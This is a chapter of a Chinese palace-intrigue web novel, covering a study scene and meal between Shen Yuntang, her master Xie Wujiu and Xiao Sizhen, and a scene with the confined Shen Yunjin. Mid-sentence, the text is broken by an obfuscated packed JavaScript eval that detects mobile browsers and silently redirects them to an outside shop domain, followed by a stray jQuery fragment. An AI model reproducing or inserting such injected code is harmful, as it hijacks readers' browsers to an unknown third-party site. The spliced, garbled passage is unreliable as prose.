书房中,萧司珩与沈云棠的讨论还在继续。
没有萧司珩的传唤,无人敢在书房附近晃悠。风摇影动,只有树叶沙沙作响,除此以外均是一片静寂。
沈云棠随手将多余的草稿塞在早上侍女安置的水仙盆景一旁。
萧司珩赐下的安神香似乎他本人也在用。所以虽然现在依旧没有焚香,沈云棠闻到萧司珩身上散发出来的气味,略有些烦躁的心情也不由得安稳下来。
当然,这绝不是因为沈云棠有追着别人吸鼻子的出格爱好,只是两人在物理意义上距离够近,被迫闻到了而已。
她将胡思乱想从脑中甩出去,让自己的思考回到正题,问道,“下一步准备怎么办?还是选在正月初二那天登基吗?”
“何必改期?”萧司珩淡淡道,“既然接下来是顾文渊擅长的领域,那么我也不介意攻他之长。
“同一件事,既可以是不祥之兆,也可以是天命所归。究竟如何,看胜者评说罢了。”
沈云棠会意,两人相视一笑。
此时却听房门“吱呀”作响,谢无咎大喇喇推门进来,问道“徒弟,今日府中怎么这般安静?”
他还没有站定,便看到一对年轻的小狐狸对他眯着眼睛笑。
谢无咎还不知道发生了什么,却突然感到脊背发凉。
这一次与沈云棠谈事的气氛甚好,萧司珩本想借机再同她谈一谈束家之事。
虽然以年纪来讲,彼时更年长些的沈云昭会知道更多,但主事的既是沈云棠,自然只有过了妹妹这一关,哥哥才会开口。
但谢无咎既来了,他也是个听到束家也会发疯的主,自然不宜再谈。
再说现在最应该追究的,就是他擅自截留手令,事实上几乎软禁沈云棠之事。
谢无咎见两人神色均是有点不对劲,想到此次太子驾临竟然无一人通报他,深感大事不好,当下便讪笑抬步要走。
萧司珩扬眉,正要发难,身边的沈云棠理了理鬓发,却是先向谢无咎深深行了一个大礼,“弟子沈云棠,多谢师父指教。”
这下反倒把谢无咎吓了一跳,连忙抢上前扶她起身,“我自收你为徒以来,没教过你什么,只让你做些没人感兴趣的题目,何德何能受此大礼!”
沈云棠眼中含泪,轻轻摇头道,“不是这样的。虽然徒儿知道师父不擅长术数之道,但师父既然能让我接触司天台的机密事务,让徒儿迅速摸清了司天台的工作思路,能够很快上手司天台的实际工作,而且物质上对徒儿毫无保留,师父您就是我的引路人啊!”
谢无咎被她这么一说,竟然似乎有些感动,眸中也有水光闪烁。
萧司珩此时不能拆了沈云棠的台,举袖掩唇,很是花了一番力气忍住笑意。
他这小舅年轻时在江湖上快意恩仇,当上国师后也是与世隔绝了太久,沈云棠这番话夹枪带棒,将他的老底都掀了个精光,他还在为自己徒儿的善解人意而动容。
他却不知谢无咎的心思。
谢无咎回到中都做个国师只为图个安稳,谁知司天台那些蠢货们真才实学不多,却一个个眼高于顶,只因他不擅术数,便要将他踩到脚底。
当年故交还在时他尚可忍受,后来没了牵挂,他便不愿与这些鸟人虚与委蛇,收拾好故交的遗留后便向皇帝递了折子隐退。
只是那之后司天台也一蹶不振,十多年来竟连个领头的也推不出来。
此时的谢无咎也说不清自己现在的心情。
沈云棠确实不愧是故交的表妹,人又聪慧,肠子比他的故交还要绕得九曲十八弯,虽然在民间吃了十几年的苦,却也好端端地长成了大姑娘。
只是让那人遗留的血亲就这么再入龙潭虎穴,他总觉得心里不安稳,她的筹码要越多才能越好。
如今看来,年轻人永远能够锐意进取,却是他瞻前顾后了。
他似哭非哭、似笑非笑,一双手钢爪一般紧握沈云棠的手臂不放,喃喃道,“是我该感谢你……你能将那些东西做出来,可比那些人强多了。”
沈云棠看他神色不对,心知恐怕还另有隐情,便换了一种策略,率直道,“那师父您以后别有事就瞒着我了,可以吗?”
谢无咎被她惊醒一般,松开双手,往后退了一步,“那是自然。”
沈云棠笑道,“那就太好了。师父您不知道,我小时候和哥哥一起藏在破庙里。因为我年纪小,平日全靠哥哥出去乞食,我一个人在庙里,没人说话,也出不去,整日里担惊受怕,好怕哥哥这次出了门就再也回不来了。
“如今我在国师府里,每日衣食无忧,却是再也不想过上破庙中那样与世隔绝的生活了。”
她此言一出,书房里另外两个男子都沉默了。
谢无咎本就心情激动,如今听到她这般说,更是满面愧悔,看着怕不是三天睡不好觉。
萧司珩却忍不住想,沈云棠真的有这么安分吗?
看沈云昭那模样,多半早就被这个事事要拿主张的妹妹给磨得没脾气了。
不过他也不能放任自己的小舅被沈云棠连番玩弄,当下清了清嗓子,问道,“说起来,舅父来找沈小姐是为何事?”
谢无咎如梦初醒,哑着嗓子道,“到饭点了。我本想来问徒弟今日怎么又没有吃饭。”
萧司珩于是拍板,“既然如此,那便吩咐厨房备膳吧。”
沈云棠面色如常地应了。
于是神色各异的三人在同一张桌上吃饭。
虽然今日有贵客驾临,厨房的菜色却是一如既往。不过看萧司珩反应,恐怕国师府厨房备膳一向都是按的萧司珩口味。
至于谢无咎,沈云棠早就发现了,他对食物的品鉴能力恐怕连自己都不如。他分不清桂花糕与绿豆糕,也不在意食材是风腌还是卤煮,至于什么食材本味更是一概不论,突出一个有口饭吃、有口酒喝就行,半点没有世家贵族出身的作派。
至于她自己,面前摆的自然仍旧是流食药汤药丸三件套。以沈云棠自己来说,这三件套虽然对鼻子和舌头算不得友善,但着实给她省下了吃饭的时间,因此还算不错。
往日里谢无咎对此不会多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620622|203601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
加置喙,今日却像是被沈云棠那几番话激发了长辈模式,突然道,“只喝汤药还是不济事,若是不能大口吃饭、大口吃肉,如何才能再长身体?”
沈云棠一愣,她倒是无所谓自己能不能长个子,要考虑的事情太多,自己的发育问题是其中最无足轻重的。
萧司珩倒是内心一动,也停箸看沈云棠的反应。关于此事,他确实想知道她的真实想法。
她既然能在一开始就伪装自己难进水米,恐怕本就不把自己的身体放在心上。但如此伪装究竟是要给自己塑造一个怎样的形象,只有听到她的言语才能知晓。
只听沈云棠一本正经道,“我可不能吃饭。万一吃了吐出来,胃液把你们都毒倒了怎么办?”
谢无咎皱眉,却也不敢跟沈云棠声音太大,只好说,“别拿自己的身体开玩笑。”
萧司珩也皱眉,却想起来沈府中沈云棠在他手心中写下的那几个字。
能产生与十几年前瘟疫中类似症状的毒药,沈云棠对那毒药的异常了解,还有沈云昭对回沈府讳莫如深的奇异态度。他内心产生了一些确实的想法,但这些亟需沈云棠的确认。
却见沈云棠俏皮地向他眨了眨眼,笑道,“有什么事情还是之后再说吧。”
谢无咎忍无可忍道,“年轻人,别在饭桌上眉来眼去的!”
---
沈府内。
自从此处的主人被软禁后,小院便幽深得吓人。
沈云昭面无表情地推开房门。
守在门后的沈云堇乌发散乱,如同女鬼一般冲上来,抱住他的小腿嚎啕大哭道,“哥哥、哥哥!您终于来看我了……!”
沈云昭没有低头看她,他的妹妹品尝过的等待的痛苦远比她多得多。
他环视了一圈已被砸得一片狼藉的屋内,客气问道,“二小姐,近日过得可好?”
“不好!我不好!”沈云堇尖叫,“没有人找我说话!没有人来救我!哥哥,我已经改悔了!我不会杀了他们!你看看我!我也是您的妹妹啊……”
沈云昭摇头道,“改悔又是什么话?之前委屈二小姐独自一人待在这里,是为调查案情,防止罪妇柳氏花言巧语哄骗于你,于破案不利。如今她已自行脱逃,与认罪无异,二小姐自然不必再受委屈。”
“自行脱逃……?”沈云堇呆呆地重复,方才为装疯卖傻挤出来的那滴泪流了下来。
原来外面那些贱种说的是真的,娘亲真的抢走了顾公子,把她抛下了。
她情不自禁地想起那一天,顾公子给她送来的宫花。
那些宫花又俗又艳,明明配不上她,娘亲却硬要说那是最好的,是最能配得上她的。
原来是娘亲自己想要。
沈云堇跌坐在地,傻傻笑了一阵,又捂着脸呜呜哭了起来。
沈云昭没再看她,默不作声地退了出去。屋外传来他吩咐仆人打扫收拾院子的声音。
沈云堇恍惚地看着窗外的天光,任眼泪一滴滴从眼眶坠落。
娘亲,娘亲,本来应该得救的是堇儿啊……